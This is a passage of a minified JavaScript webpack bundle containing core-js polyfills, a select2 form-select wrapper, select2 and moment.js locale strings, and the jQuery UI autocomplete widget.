e=Object.create(t);e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),Object.defineProperty(e,"exports",{enumerable:!0}),e.webpackPolyfill=1}return e}},"3bBZ":function(t,e,n){var i=n("2oRo"),r=n("/byt"),o=n("4mDm"),a=n("kRJp"),s=n("tiKp"),l=s("iterator"),c=s("toStringTag"),u=o.values;for(var d in r){var f=i[d],h=f&&f.prototype;if(h){if(h[l]!==u)try{a(h,l,u)}catch(t){h[l]=u}if(h[c]||a(h,c,d),r[d])for(var p in o)if(h[p]!==o[p])try{a(h,p,o[p])}catch(t){h[p]=o[p]}}}},"4Brf":function(t,e,n){"use strict";var i=n("I+eb"),r=n("g6v/"),o=n("2oRo"),a=n("UTVS"),s=n("hh1v"),l=n("m/L8").f,c=n("6JNq"),u=o.Symbol;if(r&&"function"==typeof u&&(!("description"in u.prototype)||void 0!==u().description)){var d={},f=function(){var t=arguments.length<1||void 0===arguments[0]?void 0:String(arguments[0]),e=this instanceof f?new u(t):void 0===t?u():u(t);return""===t&&(d[e]=!0),e};c(f,u);var h=f.prototype=u.prototype;h.constructor=f;var p=h.toString,m="Symbol(test)"==String(u("test")),g=/^Symbol\((.*)\)[^)]+$/;l(h,"description",{configurable:!0,get:function(){var t=s(this)?this.valueOf():this,e=p.call(t);if(a(d,t))return"";var n=m?e.slice(7,-1):e.replace(g,"$1");return""===n?void 0:n}}),i({global:!0,forced:!0},{Symbol:f})}},"4WOD":function(t,e,n){var i=n("UTVS"),r=n("ewvW"),o=n("93I0"),a=n("4Xet"),s=o("IE_PROTO"),l=Object.prototype;t.exports=a?Object.getPrototypeOf:function(t){return t=r(t),i(t,s)?t[s]:"function"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?l:null}},"4Xet":function(t,e,n){var i=n("0Dky");t.exports=!i((function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototype}))},"4l63":function(t,e,n){var i=n("I+eb"),r=n("wg0c");i({global:!0,forced:parseInt!=r},{parseInt:r})},"4mDm":function(t,e,n){"use strict";var i=n("/GqU"),r=n("RNIs"),o=n("P4y1"),a=n("afO8"),s=n("fdAy"),l=a.set,c=a.getterFor("Array Iterator");t.exports=s(Array,"Array",(function(t,e){l(this,{type:"Array Iterator",target:i(t),index:0,kind:e})}),(function(){var t=c(this),e=t.target,n=t.kind,i=t.index++;return!e||i>=e.length?(t.target=void 0,{value:void 0,done:!0}):"keys"==n?{value:i,done:!1}:"values"==n?{value:e[i],done:!1}:{value:[i,e[i]],done:!1}}),"values"),o.Arguments=o.Array,r("keys"),r("values"),r("entries")},"5+3N":function(t,e,n){"use strict";(function(t){n.d(e,"a",(function(){return b}));n("SYor"),n("rB9j"),n("EnZy"),n("QWBl"),n("FZtP"),n("yXV3"),n("oVuX"),n("pDQq"),n("UxlC"),n("R5XZ"),n("fbCW"),n("T63A"),n("sMBO"),n("ExoC"),n("NBAS"),n("SuFq"),n("uL8W"),n("eoL8"),n("tkto"),n("pNMO"),n("TeQF"),n("5DmW"),n("27RR"),n("HRxU"),n("J30X"),n("4Brf"),n("07d7"),n("0oug"),n("4mDm"),n("PKPk"),n("3bBZ"),n("+2oP"),n("pjDv");var i=n("dQ1+"),r=n("EVdn"),o=n.n(r);function a(t){return(a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function s(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=c(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function l(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(t)))return;var n=[],i=!0,r=!1,o=void 0;try{for(var a,s=t[Symbol.iterator]();!(i=(a=s.next()).done)&&(n.push(a.value),!e||n.length!==e);i=!0);}catch(t){r=!0,o=t}finally{try{i||null==s.return||s.return()}finally{if(r)throw o}}return n}(t,e)||c(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function c(t,e){if(t){if("string"==typeof t)return u(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?u(t,e):void 0}}function u(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function d(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);e&&(i=i.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,i)}return n}function f(t){for(var e=1;e<arguments.length;e++){var n=null!=arguments[e]?arguments[e]:{};e%2?d(Object(n),!0).forEach((function(e){h(t,e,n[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):d(Object(n)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(n,e))}))}return t}function h(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function p(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function m(t,e){return(m=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function g(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=v(t);if(e){var r=v(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return y(this,n)}}function y(t,e){return!e||"object"!==a(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function v(t){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var b=function(e){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&m(t,e)}(c,e);var n,i,r,a=g(c);function c(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,c),(e=a.call(this)).selector=t,e}return n=c,(i=[{key:"getId",value:function(){return"form-select"}},{key:"activateSelectPicker",value:function(e,n){var i=this.selector,r={};void 0!==n&&(r={dropdownParent:t(n)}),r=f(f({},r),{language:this.getConfiguration("locale").replace("_","-"),theme:"bootstrap",matcher:function t(e,n){if(""===o.a.trim(e.term))return n;var i=n.children&&n.children.length>0,r=e.term.toUpperCase().split(" "),a=n.text.toUpperCase(),s=!0,l=!1,c=[];if(r.forEach((function(t,e){a.indexOf(t)>-1?l=!0:(s=!1,c.push(t))})),s)return n;if(i){var u=o.a.extend(!0,{},e);u.term=l?c.join(" "):e.term;for(var d=o.a.extend(!0,{},n),f=n.children.length-1;f>=0;f--)null===t(u,n.children[f])&&d.children.splice(f,1);if(d.children.length>0)return d}return null}});var a=function(t){return console.log(t),o()('<span><span style="background-color:'+t.id+'; width: 20px; height: 20px; display: inline-block; margin-right: 10px;">&nbsp;</span>'+t.text+"</span>")},s=f(f({},r),{templateSelection:a,templateResult:a});o()(e+" "+i+":not([data-renderer=color])").select2(r),o()(e+" "+i+"[data-renderer=color]").select2(s),o()("body").on("reset","form",(function(t){setTimeout((function(){o()(t.target).find(i).trigger("change")}),10)}))}},{key:"destroySelectPicker",value:function(t){o()(t+" "+this.selector).select2("destroy")}},{key:"updateOptions",value:function(t,e){var n=o()(t),i=o()(t+' option[value=""]'),r=n.val();n.find("option").remove().end().find("optgroup").remove().end(),0!==i.length&&n.append(this._createOption(i.text(),""));for(var a=[],c=[],u=0,d=Object.entries(e);u<d.length;u++){var f=l(d[u],2),h=f[0],p=f[1];if("__empty__"!==h){var m,g=this._createOptgroup(h),y=s(p);try{for(y.s();!(m=y.n()).done;){var v=m.value;g.appendChild(this._createOption(v.name,v.id))}}catch(t){y.e(t)}finally{y.f()}c.push(g)}else{var b,w=s(p);try{for(w.s();!(b=w.n()).done;){var _=b.value;a.push(this._createOption(_.name,_.id))}}catch(t){w.e(t)}finally{w.f()}}}n.append(c),n.append(a),n.val(r),n.trigger("change"),n.hasClass("selectpicker")&&n.trigger("change.select2")}},{key:"_createOption",value:function(t,e){var n=document.createElement("option");return n.innerText=t,n.value=e,n}},{key:"_createOptgroup",value:function(t){var e=document.createElement("optgroup");return e.label=t,e}}])&&p(n.prototype,i),r&&p(n,r),c}(i.a)}).call(this,n("EVdn"))},"5DmW":function(t,e,n){var i=n("I+eb"),r=n("0Dky"),o=n("/GqU"),a=n("Bs8V").f,s=n("g6v/"),l=r((function(){a(1)}));i({target:"Object",stat:!0,forced:!s||l,sham:!s},{getOwnPropertyDescriptor:function(t,e){return a(o(t),e)}})},"5Tg+":function(t,e,n){var i=n("tiKp");e.f=i},"6HnW":function(t,e,n){},"6JNq":function(t,e,n){var i=n("UTVS"),r=n("Vu81"),o=n("Bs8V"),a=n("m/L8");t.exports=function(t,e){for(var n=r(e),s=a.f,l=o.f,c=0;c<n.length;c++){var u=n[c];i(t,u)||s(t,u,l(e,u))}}},"6KOk":function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/ro",[],(function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(t){var e=t.input.length-t.maximum,n="Vă rugăm să ștergeți"+e+" caracter";return 1!==e&&(n+="e"),n},inputTooShort:function(t){return"Vă rugăm să introduceți "+(t.minimum-t.input.length)+" sau mai multe caractere"},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(t){var e="Aveți voie să selectați cel mult "+t.maximum;return e+=" element",1!==t.maximum&&(e+="e"),e},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"},removeAllItems:function(){return"Eliminați toate elementele"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"6LWA":function(t,e,n){var i=n("xrYK");t.exports=Array.isArray||function(t){return"Array"==i(t)}},"6VoE":function(t,e,n){var i=n("tiKp"),r=n("P4y1"),o=i("iterator"),a=Array.prototype;t.exports=function(t){return void 0!==t&&(r.Array===t||a[o]===t)}},"7LP0":function(t,e,n){"use strict";n.d(e,"a",(function(){return r}));n("eoL8");function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var r=function(){function t(e){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this._translations=e}var e,n,r;return e=t,(n=[{key:"get",value:function(t){return this._translations[t]}},{key:"has",value:function(t){return t in this._translations}}])&&i(e.prototype,n),r&&i(e,r),t}()},"8mBD":function(t,e,n){!function(t){"use strict";t.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n("wd/R"))},"9/yf":function(t,e,n){var i,r,o;r=[n("EVdn"),n("wCe6"),n("vBzC"),n("Jchv"),n("yw1R"),n("Qwlt"),n("MIQu")],void 0===(o="function"==typeof(i=function(t){return t.widget("ui.autocomplete",{version:"1.12.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var e,n,i,r=this.element[0].nodeName.toLowerCase(),o="textarea"===r,a="input"===r;this.isMultiLine=o||!a&&this._isContentEditable(this.element),this.valueMethod=this.element[o||a?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(r){if(this.element.prop("readOnly"))return e=!0,i=!0,void(n=!0);e=!1,i=!1,n=!1;var o=t.ui.keyCode;switch(r.keyCode){case o.PAGE_UP:e=!0,this._move("previousPage",r);break;case o.PAGE_DOWN:e=!0,this._move("nextPage",r);break;case o.UP:e=!0,this._keyEvent("previous",r);break;case o.DOWN:e=!0,this._keyEvent("next",r);break;case o.ENTER:this.menu.active&&(e=!0,r.preventDefault(),this.menu.select(r));break;case o.TAB:this.menu.active&&this.menu.select(r);break;case o.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(r),r.preventDefault());break;default:n=!0,this._searchTimeout(r)}},keypress:function(i){if(e)return e=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||i.preventDefault());if(!n){var r=t.ui.keyCode;switch(i.keyCode){case r.PAGE_UP:this._move("previousPage",i);break;case r.PAGE_DOWN:this._move("nextPage",i);break;case r.UP:this._keyEvent("previous",i);break;case r.DOWN:this._keyEvent("next",i)}}},input:function(t){if(i)return i=!1,void t.preventDefault();this._searchTimeout(t)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(t){this.cancelBlur?delete this.cancelBlur:(clearTimeout(this.searching),this.close(t),this._change(t))}}),this._initSource(),this.menu=t("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault(),this.cancelBlur=!0,this._delay((function(){delete this.cancelBlur,this.element[0]!==t.ui.safeActiveElement(this.document[0])&&this.element.trigger("focus")}))},menufocus:function(e,n){var i,r;if(this.isNewMenu&&(this.isNewMenu=!1,e.originalEvent&&/^mouse/.test(e.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",(function(){t(e.target).trigger(e.originalEvent)}));r=n.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",e,{item:r})&&e.originalEvent&&/^key/.test(e.originalEvent.type)&&this._value(r.value),(i=n.item.attr("aria-label")||r.value)&&t.trim(i).length&&(this.liveRegion.children().hide(),t("<div>").text(i).appendTo(this.liveRegion))},menuselect:function(e,n){var i=n.item.data("ui-autocomplete-item"),r=this.previous;this.element[0]!==t.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=r,this._delay((function(){this.previous=r,this.selectedItem=i}))),!1!==this._trigger("select",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=t("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(t,e){this._super(t,e),"source"===t&&this._initSource(),"appendTo"===t&&this.menu.element.appendTo(this._appendTo()),"disabled"===t&&e&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(e){var n=this.menu.element[0];return e.target===this.element[0]||e.target===n||t.contains(n,e.target)},_closeOnClickOutside:function(t){this._isEventTargetInWidget(t)||this.close()},_appendTo:function(){var e=this.options.appendTo;return e&&(e=e.jquery||e.nodeType?t(e):this.document.find(e).eq(0)),e&&e[0]||(e=this.element.closest(".ui-front, dialog")),e.length||(e=this.document[0].body),e},_initSource:function(){var e,n,i=this;t.isArray(this.options.source)?(e=this.options.source,this.source=function(n,i){i(t.ui.autocomplete.filter(e,n.term))}):"string"==typeof this.options.source?(n=this.options.source,this.source=function(e,r){i.xhr&&i.xhr.abort(),i.xhr=t.ajax({url:n,data:e,dataType:"json",success:function(t){r(t)},error:function(){r([])}})}):this.source=this.options.source},_searchTimeout:function(t){clearTimeout(this.searching),this.searching=this._delay((function(){var e=this.term===this._value(),n=this.menu.element.is(":visible"),i=t.altKey||t.ctrlKey||t.metaKey||t.shiftKey;e&&(!e||n||i)||(this.selectedItem=null,this.search(null,t))}),this.options.delay)},search:function(t,e){return t=null!=t?t:this._value(),this.term=this._value(),t.length<this.options.minLength?this.close(e):!1!==this._trigger("search",e)?this._search(t):void 0},_search:function(t){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:t},this._response())},_response:function(){var e=++this.requestIndex;return t.proxy((function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}),this)},__response:function(t){t&&(t=this._normalize(t)),this._trigger("response",null,{content:t}),!this.options.disabled&&t&&t.length&&!this.cancelSearch?(this._suggest(t),this._trigger("open")):this._close()},close:function(t){this.cancelSearch=!0,this._close(t)},_close:function(t){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",t))},_change:function(t){this.previous!==this._value()&&this._trigger("change",t,{item:this.selectedItem})},_normalize:function(e){return e.length&&e[0].label&&e[0].value?e:t.map(e,(function(e){return"string"==typeof e?{label:e,value:e}:t.extend({},e,{label:e.label||e.value,value:e.value||e.label})}))},_suggest:function(e){var n=this.menu.element.empty();this._renderMenu(n,e),this.isNewMenu=!0,this.menu.refresh(),n.show(),this._resizeMenu(),n.position(t.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var t=this.menu.element;t.outerWidth(Math.max(t.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(e,n){var i=this;t.each(n,(function(t,n){i._renderItemData(e,n)}))},_renderItemData:function(t,e){return this._renderItem(t,e).data("ui-autocomplete-item",e)},_renderItem:function(e,n){return t("<li>").append(t("<div>").text(n.label)).appendTo(e)},_move:function(t,e){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(t)||this.menu.isLastItem()&&/^next/.test(t)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[t](e);this.search(null,e)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(t,e){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(t,e),e.preventDefault())},_isContentEditable:function(t){if(!t.length)return!1;var e=t.prop("contentEditable");return"inherit"===e?this._isContentEditable(t.parent()):"true"===e}}),t.extend(t.ui.autocomplete,{escapeRegex:function(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(e,n){var i=new RegExp(t.ui.autocomplete.escapeRegex(n),"i");return t.grep(e,(function(t){return i.test(t.label||t.value||t)}))}}),t.widget("ui.autocomplete",t.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(t){return t+(t>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var n;this._superApply(arguments),this.options.disabled||this.cancelSearch||(n=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,this.liveRegion.children().hide(),t("<div>").text(n).appendTo(this.liveRegion))}}),t.ui.autocomplete})?i.apply(e,r):i)||(t.exports=o)},"93I0":function(t,e,n){var i=n("VpIT"),r=n("kOOl"),o=i("keys");t.exports=function(t){return o[t]||(o[t]=r(t))}},"9d/t":function(t,e,n){var i=n("AO7/"),r=n("xrYK"),o=n("tiKp")("toStringTag"),a="Arguments"==r(function(){return arguments}());t.exports=i?r:function(t){var e,n,i;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(n=function(t,e){try{return t[e]}catch(t){}}(e=Object(t),o))?n:a?r(e):"Object"==(i=r(e))&&"function"==typeof e.callee?"Arguments":i}},A2ZE:function(t,e,n){var i=n("HAuM");t.exports=function(t,e,n){if(i(t),void 0===e)return t;switch(n){case 0:return function(){return t.call(e)};case 1:return function(n){return t.call(e,n)};case 2:return function(n,i){return t.call(e,n,i)};case 3:return function(n,i,r){return t.call(e,n,i,r)}}return function(){return t.apply(e,arguments)}}},"AO7/":function(t,e,n){var i={};i[n("tiKp")("toStringTag")]="z",t.exports="[object z]"===String(i)},AYug:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/sk",[],(function(){var t={2:function(t){return t?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(e){var n=e.input.length-e.maximum;return 1==n?"Prosím, zadajte o jeden znak menej":n>=2&&n<=4?"Prosím, zadajte o "+t[n](!0)+" znaky menej":"Prosím, zadajte o "+n+" znakov menej"},inputTooShort:function(e){var n=e.minimum-e.input.length;return 1==n?"Prosím, zadajte ešte jeden znak":n<=4?"Prosím, zadajte ešte ďalšie "+t[n](!0)+" znaky":"Prosím, zadajte ešte ďalších "+n+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(e){return 1==e.maximum?"Môžete zvoliť len jednu položku":e.maximum>=2&&e.maximum<=4?"Môžete zvoliť najviac "+t[e.maximum](!1)+" položky":"Môžete zvoliť najviac "+e.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"},removeAllItems:function(){return"Odstráňte všetky položky"}}})),e.define,e.require}()}).call(this,n("EVdn"))},Auod:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/de",[],(function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(t){return"Bitte "+(t.input.length-t.maximum)+" Zeichen weniger eingeben"},inputTooShort:function(t){return"Bitte "+(t.minimum-t.input.length)+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(t){var e="Sie können nur "+t.maximum+" Element";return 1!=t.maximum&&(e+="e"),e+" auswählen"},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"},removeAllItems:function(){return"Entferne alle Elemente"}}})),e.define,e.require}()}).call(this,n("EVdn"))},B55N:function(t,e,n){!function(t){"use strict";t.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(t,e){return"元"===e[1]?1:parseInt(e[1]||t,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(t){return"午後"===t},meridiem:function(t,e,n){return t<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(t){return t.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(t){return this.week()!==t.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(t,e){switch(e){case"y":return 1===t?"元年":t+"年";case"d":case"D":case"DDD":return t+"日";default:return t}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(n("wd/R"))},BTho:function(t,e,n){"use strict";var i=n("HAuM"),r=n("hh1v"),o=[].slice,a={},s=function(t,e,n){if(!(e in a)){for(var i=[],r=0;r<e;r++)i[r]="a["+r+"]";a[e]=Function("C,a","return new C("+i.join(",")+")")}return a[e](t,n)};t.exports=Function.bind||function(t){var e=i(this),n=o.call(arguments,1),a=function(){var i=n.concat(o.call(arguments));return this instanceof a?s(e,i.length,i):e.apply(t,i)};return r(e.prototype)&&(a.prototype=e.prototype),a}},"BX/b":function(t,e,n){var i=n("/GqU"),r=n("JBy8").f,o={}.toString,a="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return a&&"[object Window]"==o.call(t)?function(t){try{return r(t)}catch(t){return a.slice()}}(t):r(i(t))}},Bozk:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/tr",[],(function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(t){return t.input.length-t.maximum+" karakter daha girmelisiniz"},inputTooShort:function(t){return"En az "+(t.minimum-t.input.length)+" karakter daha girmelisiniz"},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(t){return"Sadece "+t.maximum+" seçim yapabilirsiniz"},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"},removeAllItems:function(){return"Tüm öğeleri kaldır"}}})),e.define,e.require}()}).call(this,n("EVdn"))},Bs8V:function(t,e,n){var i=n("g6v/"),r=n("0eef"),o=n("XGwC"),a=n("/GqU"),s=n("wE6v"),l=n("UTVS"),c=n("DPsx"),u=Object.getOwnPropertyDescriptor;e.f=i?u:function(t,e){if(t=a(t),e=s(e,!0),c)try{return u(t,e)}catch(t){}if(l(t,e))return o(!r.f.call(t,e),t[e])}},ByF4:function(t,e,n){!function(t){"use strict";t.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d 